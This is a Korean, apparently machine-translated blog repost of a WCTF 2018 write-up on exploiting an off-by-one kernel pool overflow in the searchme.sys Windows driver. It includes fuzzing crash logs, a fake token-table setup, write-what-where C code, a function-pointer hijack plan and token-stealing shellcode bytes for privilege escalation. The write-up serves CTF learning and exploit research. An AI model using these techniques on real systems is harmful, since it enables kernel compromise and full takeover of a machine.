본문 바로가기

개인 저장

Windows 10 PagedPool off-by-one 오버플로 악용 (WCTF 2018)

728x90

초기 재구성

작업의 일부로 searchme.sys 14kB의 디스크 공간을 사용하는 64 비트 Windows 커널 드라이버 와 다음 설명이 제공되었습니다.

<ip> 3389 플래그는 여기에 있습니다 : c : \ flag.txt, User : ctf, password : ctf

RDP를 통해 원격 호스트에 연결할 때 일반 "ctf"사용자로 로그인 할 수있었습니다. searchme.sys드라이버가 시스템에로드 된, 원하는 C:\flag.txt 예상대로 파일은 디스크에서 발견 되었으나, 현재 사용자의 보안 컨텍스트에서 읽을 수 없습니다 :

이 시점에서 문제의 목표는 커널 모드 취약점을 악용하여 searchme.sys 권한을 관리 또는 시스템 권한으로 승격 한 다음 보호 된 파일에서 플래그를 읽는 것이 분명했습니다 . IDA Pro에 모듈을로드했을 때 장치를 등록 \Device\Searchme 하고 Buffered I / O 통신 방식을 사용하여 4 개의 IOCTL을 처리 했다는 사실을 빠르게 알게되었습니다 .

  • 0x222000 – PagedPool에서 빈 개체를 할당하고 전역 배열에 저장하고 해당 주소를 호출자에게 반환합니다.
  • 0x222004 – 이전에 할당 된 개체를 해제합니다.
  • 0x222008 – (char[16], uint32) 기존 개체에 쌍을 추가 합니다.
  • 0x22200C – 유형 0의 기존 오브젝트를 단방향, 비가역 방식으로 유형 1로 변환합니다.

IOCTL # 1 및 # 2는 사소하기 때문에 취약점은 # 3 또는 # 4 구현 어딘가에 숨어 있어야했습니다. 드라이버에있는 전체 코드 ( Redford  implr 의 도움으로 )를 간단히 리버스 엔지니어링하여 기능을 파악하고 기호 이름을 바꾸고 데이터 유형을 수정했습니다. 드라이버가 텍스트 문자열과 숫자 값 목록을 연결하는 해시 맵을 유지하고 일부 유형의 이진 데이터 구조가 유형 1 개체에 포함되어 있음이 분명했지만 여전히 코드의 기본 목적을 완전히 이해하지 못했습니다 ( 나중에 이진 보간 코드 로 판명되었습니다 ). 나는 명백한 취약점도 발견하지 못했지만 두 가지 의심스러운 행동을 발견했습니다.

  1. 을 처리 0x222008할 때 드라이버는 문자열 토큰과 관련된 정수 목록 내에서 중복을 허용하지 않습니다. 그러나 목록의 뒷부분에있는 값과 새로 추가 된 값만 확인했습니다. 예를 들어, [1,2,2] 연속 된 숫자가 같기 때문에 목록이 허용되지 않지만 제대로 [2,1,2] 생성 될 수 있습니다. 다른 IOCTL에 의해 처리 될 때 목록이 나중에 정렬되어 잠재적으로 중복 감지의 전체 지점이 무효화된다는 점을 고려하면 이것은 특히 이상해 보였습니다.
  2. 0x22200C 핸들러가 호출 한 중첩 함수  에서 다음 코드 구조가 발견되었습니다.

    if (*cur_buf > buf_end) {

      return 1;

    }

    buf_end 이것이 유효한 버퍼를 초과하는 가장 작은 주소 라고 가정하면 비교시 >= 연산자를 사용해야하므로 이는 하나씩 오류를 나타낼 수 있습니다 .

위에서 설명한 리드를 따르는 것은 시간이 오래 걸릴 수 있으므로 더 쉬운 경로를 시도하고 멍청한 퍼징을 통해 충돌을 유발할 수 있는지 확인하기로 결정했습니다. 이렇게하면 처음에 메모리 손상 프리미티브를 검색하는 데 시간을 소비하는 대신 알려진 불량 상태에서 분석을 시작할 수 있습니다.

드라이버 퍼징

퍼징의 맥락에서 운전자의 통신 인터페이스는 4 가지 간단한 조작으로 제한되어 편리했습니다. 개발 단계에서 나는 DeviceIoControl 나중에 실제 익스플로잇에서 재사용되는 몇 가지 래퍼 함수를 ​​만들었습니다 . 퍼 저는 핵심이 매우 간단했습니다. 무작위이지만 올바른 형식의 입력 인수 ( token=["aa","bb"], value=[0..9]) 를 사용하여 IOCTL 중 하나를 무한히 호출했습니다 .

특수 풀  을 활성화 searchme.sys 하고 퍼저를 시작한 후 WinDbg에서 다음 충돌을 확인하는 데 몇 초 밖에 걸리지 않았습니다.

DRIVER_PAGE_FAULT_BEYOND_END_OF_ALLOCATION (d6)

N bytes of memory was allocated and more than N bytes are being referenced.

This cannot be protected by try-except.

When possible, the guilty driver's name (Unicode string) is printed on

the bugcheck screen and saved in KiBugCheckDriver.

Arguments:

Arg1: ffffd9009c68b000, memory referenced

Arg2: 0000000000000000, value 0 = read operation, 1 = write operation

Arg3: fffff8026b482628, if non-zero, the address which referenced memory.

Arg4: 0000000000000000, (reserved)

 

[...]

 

TRAP_FRAME:  ffff820b43580360 -- (.trap 0xffff820b43580360)

NOTE: The trap frame does not contain all registers.

Some register values may be zeroed or incorrect.

rax=ffffd9009c68b000 rbx=0000000000000000 rcx=00000000fffffffe

rdx=0000000000000001 rsi=0000000000000000 rdi=0000000000000000

rip=fffff8026b482628 rsp=ffff820b435804f8 rbp=0000000000000000

 r8=ffffd9009c68b000  r9=0000000000000000 r10=00007ffffffeffff

r11=ffff820b435804f0 r12=0000000000000000 r13=0000000000000000

r14=0000000000000000 r15=0000000000000000

iopl=0         nv up ei pl zr na po nc

searchme+0x2628:

fffff802`6b482628 0fbe00          movsx   eax,byte ptr [rax] ds:ffffd900`9c68b000=??

searchme+0x2628의심스러운 *cur_buf > buf_end 비교 를 포함하는 비트 쓰기 기능에 속하는 에서 충돌이 발생했습니다 . 추가 분석 및 실험 (예 : 특수 풀없이 퍼징)을 통해 오버플로가 실제로 단일 바이트로 제한되었음을 확인했습니다.

그 순간, 전구가 머릿속에서 꺼졌습니다. 얼마 전에 비슷한 코드를 이미 보았습니다! 빠른 확인 후 사실로 판명되었습니다. 은 "searchme"작업은 사실 약간 수정하고 재 컴파일 버전이었다  elgoog2 에서 34C3 몇 달 전에. 발견의 즉각적인 이점은 "elgoog"작업이 구조 정의, 함수 이름 등을 포함한 디버깅 기호와 함께 제공된다는 것입니다. 좀 더 정찰을 수행 한 후, 나는 발견  이어질 트윗,  짧은 쓰기까지하고는 이용을Tea Deliverers의 shiki7에서. 의도하지 않은 유형 혼동 버그는 "searchme"에서 패치되었으므로 이전 익스플로잇은 더 이상 작동하지 않았지만 여전히 귀중한 통찰력을 제공했습니다. 또한 (1)에서 풀 버퍼 오버 플로우에 대한 Niklas의 설명은 이것이 여기서 악용 될 의도 된 버그라는 나의 믿음을 강화 시켰습니다.

그래서 나는“elgoog”에서“searchme”IDA 데이터베이스로 심볼을 옮기는 데 한두 시간을 보냈습니다.

오버플로 제어

충돌을 트리거하기 위해 퍼 저가 보낸 일련의 명령을 살펴보면 오버플로가 실제로 0x22200C중복 항목이있는 토큰을 포함하는 객체를 "압축"(IOCTL )하여 발생한다는 것을 알았습니다 . 할당 된 버퍼 이상으로 1 바이트 만 쓸 수 있었기 때문에 그 값을 신중하게 제어해야 할 것 같습니다. 디버그 기호의 도움으로도 코드에 의해 어떤 데이터 구조가 구성되었는지, 따라서 그 내용을 정확히 제어하는 ​​방법을 확신 할 수 없었습니다.

알고리즘의 심층 검사에 시간을 낭비하지 않기 위해  Hex-Rays 디 컴파일러에서 Visual Studio로 interpolative_size 및 write_interpolative함수 (종속성과 함께)를 뻔뻔하게 복사하여 붙여넣고 그 주위에 간단한 무차별 대입 프로그램을 작성했습니다. 다양한 임의 입력 목록에 대해 오버플로 바이트를 테스트합니다. 도구의 요점은 다음과 같습니다.

// Fill input_buffer with random numbers and sort it.

 

memset(output_buffer, 0xaa, sizeof(output_buffer));

char *buf = output_buffer;

 

write_interpolative(&buf, input_buffer, 1, ARRAYSIZE(input_buffer) - 1);

 

size_t calculated = (interpolative_size(input_buffer, 1, ARRAYSIZE(input_buffer) - 1) + 7) / 8;

ptrdiff_t written = buf - output_buffer - 1;

 

if (written > 0 && calculated > 0 && written > calculated) {

  const char kSearchedByte = 0;

 

  if (output_buffer[calculated] == kSearchedByte) {

    // Print input_buffer.

  }

}

원하는 값에 따라 input_buffer 입력 번호 의 길이 와 범위를 조작 할 수 있습니다. 의 간단한 값의 0x00경우 [0..9] 범위 에있는 5 개의 숫자만으로 원하는 효과를 얻을 수 있습니다 .

C:\> brute.exe

calculated: 4, written: 11, last byte: 0x00

input_buffer = {0, 1, 1, 1, 2}

 

calculated: 1, written: 4, last byte: 0x00

input_buffer = {0, 3, 4, 5, 5}

 

calculated: 1, written: 4, last byte: 0x00

input_buffer = {5, 7, 8, 9, 9}

 

[...]

할당량이 넘쳐나는 단일 바이트를 선택할 수있는 능력으로 인해 기본 요소를 더 강력한 것으로 끌어 올릴 때였습니다.

데이터 전용 풀 손상

오늘날 사용되는 대부분의 동적 할당자는 할당 된 메모리 청크 앞에 메타 데이터를 배치하며, 이는 역사적으로 여러 일반 힙 악용 기술을 촉진 해 왔습니다. 반면에 메타 데이터가 응용 프로그램 별 개체를 서로 분리하고 종종 광범위한 무결성 검사를 받기 때문에 현재 작은 오버플로 의 악용이  어려울 수 있습니다. 여기에 다음과 같은 두 개의 참조를 할 의무 :  리눅스 커널 SLOB 할당 자 속보 : 문제의 힙  (댄 로젠버그, 2012)하고  독이 NUL 바이트 2014 년 판 (크리스 에반스으로 알려졌다, 2014).

그의 의도 된 솔루션 에서 Niklas는 또한 커널 풀 할당자를 혼동하기 위해 풀 메타 데이터 손상을 사용했으며, 결과적으로 더 유용한 기본 요소를 달성하기 위해 두 개의 별개의 객체가 서로 겹칩니다. 이것은 유효한 접근 방식이지만 익스플로잇 작성자가 할당 자의 내부 작업을 인식하고 안정적인 익스플로잇을 보장하기 위해 풀 레이아웃을 정확하게 설정해야합니다. 개인적 선호로 인해 내부 시스템 구조보다 프로그램 특정 개체를 공격하는 것이 더 쉽다는 것을 알았 기 때문에 이러한 방식으로 문제를 해결할 수있는 옵션을 직관적으로 찾기 시작했습니다.

Windows 커널에서 작은 할당 (단일 메모리 페이지에 맞는)이 큰 할당과 다르게 처리된다는 사실은 잘 알려져 있지 않을 수 있습니다. 다소 오래되었지만 여전히 관련성이있는 세부 정보 는 Windows 7의 커널 풀 익스플로이 테이션 (Tarjei Mandt, 2011) 및 양년 커널 힙 Fengshui : Big Kids 'Pool에 살포  (Alex Ionescu, 2014)를 참조하십시오. 이 특정 사례에서 우리는 큰 풀 청크의 두 가지 속성에 관심이 있습니다.

  • 메타 데이터는 별도로 저장되므로 할당은  0xffffa803f5892000.
  • 청크는 종종 메모리에서 인접 해 있습니다. 예를 들어 두 개의 연속적인 크기 할당이 각각 0x1000 주소 0xffffa803f5892000 및에  매핑 될 수 있습니다  0xffffa803f5893000.

취약한 드라이버에서는 오버플로 된 청크의 크기를 최대 0x10000 (16 페이지) 까지 정확하게 제어 할 수 있습니다 . 이것은 두 개의 큰 객체를 나란히 할당하기에 충분하며 IOCTL이 생성 된 객체의 커널 모드 주소를 명시 적으로 반환한다는 사실 덕분에 인접한 영역의 정확한 쌍을 결정할 수도 있습니다. 이것은 8 0x2000바이트 길이의 인덱스 를 생성 하고 주소를 비교 한 CTF에서 작성한 간단한 도구로 성공적으로 확인되었습니다 . 출력은 다음과 유사합니다.

C:\>adjacent.exe

[+] Source Index: ffffa803f2f79cb0

[1] Adjacent objects: ffffa803f61db000 --> ffffa803f61dd000

[2] Adjacent objects: ffffa803f61dd000 --> ffffa803f61df000

[3] Adjacent objects: ffffa803f61df000 --> ffffa803f61e1000

[4] Adjacent objects: ffffa803f61e1000 --> ffffa803f61e3000

[5] Adjacent objects: ffffa803f61e3000 --> ffffa803f61e5000

[6] Adjacent objects: ffffa803f61e5000 --> ffffa803f61e7000

[7] Adjacent objects: ffffa803f61e7000 --> ffffa803f61e9000

보시다시피 모든 개체는 실제로 연속적인 0x10000 바이트 블록에서 서로 나란히 매핑되었습니다 . 이후에 다른 모든 개체를 해제하여 풀에 "구멍"을 만들고 드라이버에 의해 오버플로되는 동일한 크기의 새 청크를 즉시 할당하면 오버플로가 인접한 인덱스 개체 의 첫 번째 바이트와 겹치게됩니다  . 이것은 아래에 설명되어 있습니다.

이 시점에서 할당의 첫 번째 바이트에 저장된 정보 유형을 살펴보아야합니다. 결과적으로, 이것은 객체의 유형을 나타내는 32 비트 정수의 최하위 바이트입니다 (유형 0 – 일반, 유형 1 – 압축). 일반 객체의 구조는 다음과 같이 정의됩니다.

struct _inverted_index {

  /* +0x00 */ int compressed;

  /* +0x08 */ _ii_token_table *table;

};

는 IF compressed 멤버가 0이 아닌이며, 구조의 레이아웃은 매우 다르다 :

struct _compressed_index {

  /* +0x00 */ int compressed;

  /* +0x04 */ int size;

  /* +0x08 */ int offsets[size];

  /* +0x?? */ char data[...];

};

객체 유형이 0x00000000 또는 라는 사실 덕분에 0x000000011 바이트 오버플로를 통해 객체 유형을에서로 변경할  compressed_index 수 inverted_index있습니다. 유형 혼동에는 몇 가지 편리한 기본 요소가 있습니다. 위의 구조 table 에서 오프셋 8  포인터가 offsets[0] 및 항목과 겹치는  것을 볼 수 있습니다 offsets[1]. offsets 배열 의 값 은 압축 된 인덱스를 기준으로 압축 된 데이터의 오프셋이므로 상대적으로 작습니다. 테스트에서는 각각 0x558 및 0x56C.

결합되어 64 비트 주소로 해석 될 때이 두 값은 다음 포인터를 형성합니다 0x0000056c00000558.. 일반 애플리케이션에서 흔히 볼 수있는 일반적인 주소는 아니지만 간단한 VirtualAlloc 호출을 사용하여 프로그램에서 매핑 할 수있는 표준 사용자 모드 주소입니다 . 즉, 유형 혼동으로 인해 민감한 커널 모드 포인터를 사용자 공간으로 리디렉션 _ii_token_table 하고 드라이버가 사용 하는 구조를 완전히 제어 할 수 있습니다.

우리가 1에서 0으로 객체의 유형을 변경하고 새로운 추가하려고하는 개념 프로그램의 증거에서 논의 된 로직을 구현하는 경우 (keyword, value) 손상된 인덱스 쌍을, 우리는 다음과 같은 시스템 충돌을 준수해야하는 동안 searchme.sys역 참조 메모리 시도에서  0x0000056c00000558:

SYSTEM_SERVICE_EXCEPTION (3b)

An exception happened while executing a system service routine.

Arguments:

Arg1: 00000000c0000005, Exception code that caused the bugcheck

Arg2: fffff8008b981fea, Address of the instruction which caused the bugcheck

Arg3: ffff948fa7516c60, Address of the context record for the exception that caused the bugcheck

Arg4: 0000000000000000, zero.

 

[...]

 

CONTEXT:  ffff948fa7516c60 -- (.cxr 0xffff948fa7516c60)

rax=000000009b82a44c rbx=ffffcc8a26af7370 rcx=0000056c00000558

rdx=0000000000000000 rsi=ffffcc8a273fc20c rdi=ffff948fa75177d4

rip=fffff8008b981fea rsp=ffff948fa7517650 rbp=ffffcc8a2876fef0

 r8=0000000000000001  r9=0000000000000014 r10=0000000000000000

r11=0000000000000000 r12=ffffcc8a2876fef0 r13=ffffcc8a29470180

r14=0000000000000002 r15=0000000000000000

iopl=0         nv up ei pl zr na po nc

cs=0010  ss=0018  ds=002b  es=002b  fs=0053  gs=002b             efl=00010246

searchme+0x1fea:

fffff800`8b981fea 48f77108        div     rax,qword ptr [rcx+8] ds:002b:0000056c`00000560=????????????????

제어 된 _ii_token_table구조가 제공하는 기능을 자세히 살펴 보겠습니다 .

write-what-where 조건 얻기

elgoog 기호 파일을 기반으로, _ii_token_table 및 관련 _ii_posting_list구조 의 프로토 타입을 복구  하고 다음 C 정의로 기록했습니다.

struct _ii_posting_list {

  char token[16];

  unsigned __int64 size;

  unsigned __int64 capacity;

  unsigned int data[1];

};

 

struct _ii_token_table {

  unsigned __int64 size;

  unsigned __int64 capacity;

  _ii_posting_list *slots[1];

};

여러면에서 위의 데이터 구조는 std::map<string, std::vector<unsigned int>> C ++의 구조와 유사합니다  . 프로그램 (token, value) 이 색인에  쌍을 추가하도록 요청 하면 코드가 slots 배열을 반복 하여 제공된 토큰에 해당하는 게시 목록을 찾고, 발견되면 입력 값이 다음 표현식으로 목록에 추가됩니다.

PostingList.data[PostingList.size++] = value;

토큰 테이블이 우리가 제어하고 _ii_posting_list.size 필드가 64 비트 너비이고 가짜 게시 목록의 기본 주소를 알고 있다는 점을 고려할 때이 동작은 임의 쓰기 기본 형식으로 변환하는 것은 간단합니다. 먼저, 알려진 이름 ( "가짜")으로 다음과 capacity 같은 가짜 게시 목록을 정적 메모리에 선언합니다 UINT64_MAX.

namespace globals {

 

_ii_posting_list PostingList = { "fake", 0, 0xFFFFFFFFFFFFFFFFLL };

 

}  // namespace globals

그런 다음 특수 0x0000056c00000558주소 에서 가짜 토큰 테이블을 초기화하는 함수를 작성합니다  .

BOOLEAN SetupWriteWhatWhere() {

  CONST PVOID kTablePointer = (PVOID)0x0000056c00000558;

  CONST PVOID kTableBase = (PVOID)0x0000056c00000000;

 

  if (VirtualAlloc(kTableBase, 0x1000, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE) == NULL) {

    printf("[-] Unable to allocate fake base.\n");

    return FALSE;

  }

 

  _ii_token_table *TokenTable = (_ii_token_table *)kTablePointer;

  TokenTable->size = 1;

  TokenTable->capacity = 1;

  TokenTable->slots[0] = &globals::PostingList;

 

  return TRUE;

}

마지막으로 4 바이트 write-what-where 조건을 트리거하는 도우미 함수를 추가합니다.

VOID WriteWhatWhere4(ULONG_PTR CorruptedIndex, ULONG_PTR Where, DWORD What) {

  globals::PostingList.size = (Where - (ULONG_PTR)&globals::PostingList.data) / sizeof(DWORD);

 

  AddToIndex(CorruptedIndex, What, "fake");

}

이 모든 것이 제대로 작동하는지 테스트 할 수 있습니다.

WriteWhatWhere4(CorruptedIndex, 0x4141414141414141LL, 0x42424242);

취약한 드라이버에서 다음 예외를 트리거해야합니다.

CONTEXT:  ffff9609683dacb0 -- (.cxr 0xffff9609683dacb0)

rax=00007ff6a90b2930 rbx=ffffe48f8135b5a0 rcx=10503052a60d85fc

rdx=0000000042424242 rsi=ffffe48f82d7d70c rdi=ffff9609683db7d4

rip=fffff8038ccc1905 rsp=ffff9609683db6a0 rbp=ffffe48f82c79ef0

 r8=0000000000000001  r9=0000000000000014 r10=0000000000000000

r11=0000000000000000 r12=ffffe48f82c79ef0 r13=ffffe48f81382ac0

r14=0000000000000002 r15=0000000000000000

iopl=0         nv up ei pl nz na po nc

cs=0010  ss=0018  ds=002b  es=002b  fs=0053  gs=002b             efl=00010206

searchme+0x1905:

fffff803`8ccc1905 3954881c        cmp     dword ptr [rax+rcx*4+1Ch],edx ds:002b:41414141`4141413c=????????

위의 크래시 로그는 이전에에서 무의미한 일부 읽기로 인해 "쓰기"작업을 완전히 설명하지는 않지만  PostingList.data공격은 작동합니다.

쉘 코드 실행

이 시점에서 임의의 커널 메모리를 쓸 수는 있지만 읽을 수는 없었기 때문에 사용자 모드에서 직접 수행되는 데이터 전용 공격 옵션이 배제되었습니다 . 그러나 write-what-where 프리미티브를 사용하면 ring-0 쉘 코드를 실행하는 것은 형식 일뿐입니다. 이 경우 익스플로잇이 보통 무결성으로 실행되어 커널 모듈의 기본 주소에 액세스하고 .NET의 다양한 정보 클래스  통해 다른 유용한 주소를 획득 할 수 있었기 때문에 훨씬 더 쉬워졌습니다 NtQuerySystemInformation.

그의에서 블랙 햇 USA 2017 이야기 , 모르 텐 쉥크는 임의 쓰기가에 거주 덮어 쓰기 커널 함수 포인터로 사용될 수 있음을 제안 .data 섹션 win32kbase.sys에서 더 구체적으로, 그리고 win32kbase!gDxgkInterface로부터 그래픽 콜에서 사용하는 테이블 NtGdiDdDDI* 의 가족. 시스템 호출 핸들러는 실제로 함수 포인터를 둘러싼 사소한 래퍼 RCX이며 RDX,,… 레지스터를 통해 전달 된 인수를 손상시키지 않습니다 . 예 :

이를 통해 공격자는 제어 된 인수로 임의의 커널 함수를 호출하고 반환 값을받을 수 있습니다. Morten이 논의한 바와 같이, 전체 익스플로잇 프로세스는 몇 가지 간단한 단계로 구성됩니다.

  1. 함수 포인터를 주소로 덮어 씁니다 nt!ExAllocatePoolWithTag.
  2. NonPagedPool 매개 변수 와 함께 루틴을 호출하여 쓰기 가능 / 실행 가능 메모리를 할당하십시오.
  3. 할당 된 메모리에 ring-0 쉘 코드를 씁니다.
  4. 함수 포인터를 쉘 코드의 주소로 덮어 씁니다.
  5. 쉘 코드를 호출하십시오.

위의 체계를 사용하면 시스템 상태를 손상시키지 않고 원하는 페이로드를 깔끔하게 실행할 수 있습니다 (덮어 쓴 포인터 제외). 그의 논문에서 Morten NtGdiDdDDICreateAllocation 은 프록시 시스템 콜로 사용을 제안 했지만, 포인터가 즉시 수정되지 않으면 시스템이 오작동하기 시작할 정도로 Windows에서 충분히 자주 사용된다는 것을 발견했습니다. 내 삶을 조금 더 쉽게 만들기 위해, 익스플로잇에 의해 독점적으로 호출되는 것처럼 보이는 덜 자주 사용되는 서비스를 선택했습니다 NtGdiDdDDIGetContextSchedulingPriority.

코드에서 로직을 구현 한 후 임의의 커널 코드 실행을 즐길 수 있습니다.이 예제에서는 단일 int3명령입니다.

kd> g

Break instruction exception - code 80000003 (first chance)

ffffc689`b8967000 cc              int     3

 

0: kd> u

ffffc689`b8967000 cc              int     3

ffffc689`b8967001 c3              ret

[...]

 

0: kd> !pool @rip

Pool page ffffc689b8967000 region is Nonpaged pool

*ffffc689b8967000 : large page allocation, tag is ...., size is 0x1000 bytes

        Owning component : Unknown (update pooltag.txt)

특권 상승

Windows에서 시스템에서 권한을 높이는 가장 쉬운 방법 중 하나는 시스템 프로세스의 보안 토큰을 "훔쳐"현재 프로세스 (특히 EPROCESS.Token)에 복사하는 것 입니다. 시스템 프로세스의 주소는 ntoskrnl.exe 이미지 의 정적 메모리 아래 에서 찾을 수 있습니다 nt!PsInitialSystemProcess. 공격은 두 커널 구조 사이에 하나의 포인터 만 복사하는 것이므로 쉘 코드는 6 개의 명령어로만 구성됩니다.

// The shellcode takes the address of a pointer to a process object in the kernel in the first

// argument (RCX), and copies its security token to the current process.

//

// 00000000  65488B0425880100  mov rax, [gs:KPCR.Prcb.CurrentThread]

// -00

// 00000009  488B80B8000000    mov rax, [rax + ETHREAD.Tcb.ApcState.Process]

// 00000010  488B09            mov rcx, [rcx]

// 00000013  488B8958030000    mov rcx, [rcx + EPROCESS.Token]

// 0000001A  48898858030000    mov [rax + EPROCESS.Token], rcx

// 00000021  C3                ret

CONST BYTE ShellcodeBytes[] = "\x65\x48\x8B\x04\x25\x88\x01\x00\x00\x48\x8B\x80\xB8\x00\x00\x00"

                              "\x48\x8B\x09\x48\x8B\x89\x58\x03\x00\x00\x48\x89\x88\x58\x03\x00"

                              "\x00\xC3";

깃발 얻기

익스플로잇 프로세스의 보안 토큰이 교체되면 운영 체제를 완전히 제어 할 수 있습니다. 관리자 권한 명령 프롬프트를 시작하고 플래그를 읽을 수 있습니다.

요약하면, 약 15 시간의 작업 후 익스플로잇이 작동하여 첫 번째 (및 마지막) 혈액 보너스의 120 점 + 30 점을 얻었습니다. 이 재미있는 도전을 만들어 준 Niklas와 대회를 운영 해준 WCTF 주최자에게 감사드립니다. 나는 작업과 그 솔루션이 오늘날에도 커널 풀의 오프-바이-원 오버플로와 같은 이론적으로 사소한 버그가 올바른 상황에서 개념적으로 쉽게 악용 될 수 있음을 깔끔하게 설명한다고 생각합니다. Windows의 버퍼 오버플로 악용은 아직 죽지 않았습니다. :)

728x90

'개인 저장' 카테고리의 다른 글

KMS 버전별 스니퍼 키값  (2) 2020.09.02
driverview-x64  (0) 2020.08.26
세금 내용 총정리  (0) 2020.08.12
신규 데이터 학습  (0) 2020.08.10
KsDumper  (0) 2020.08.07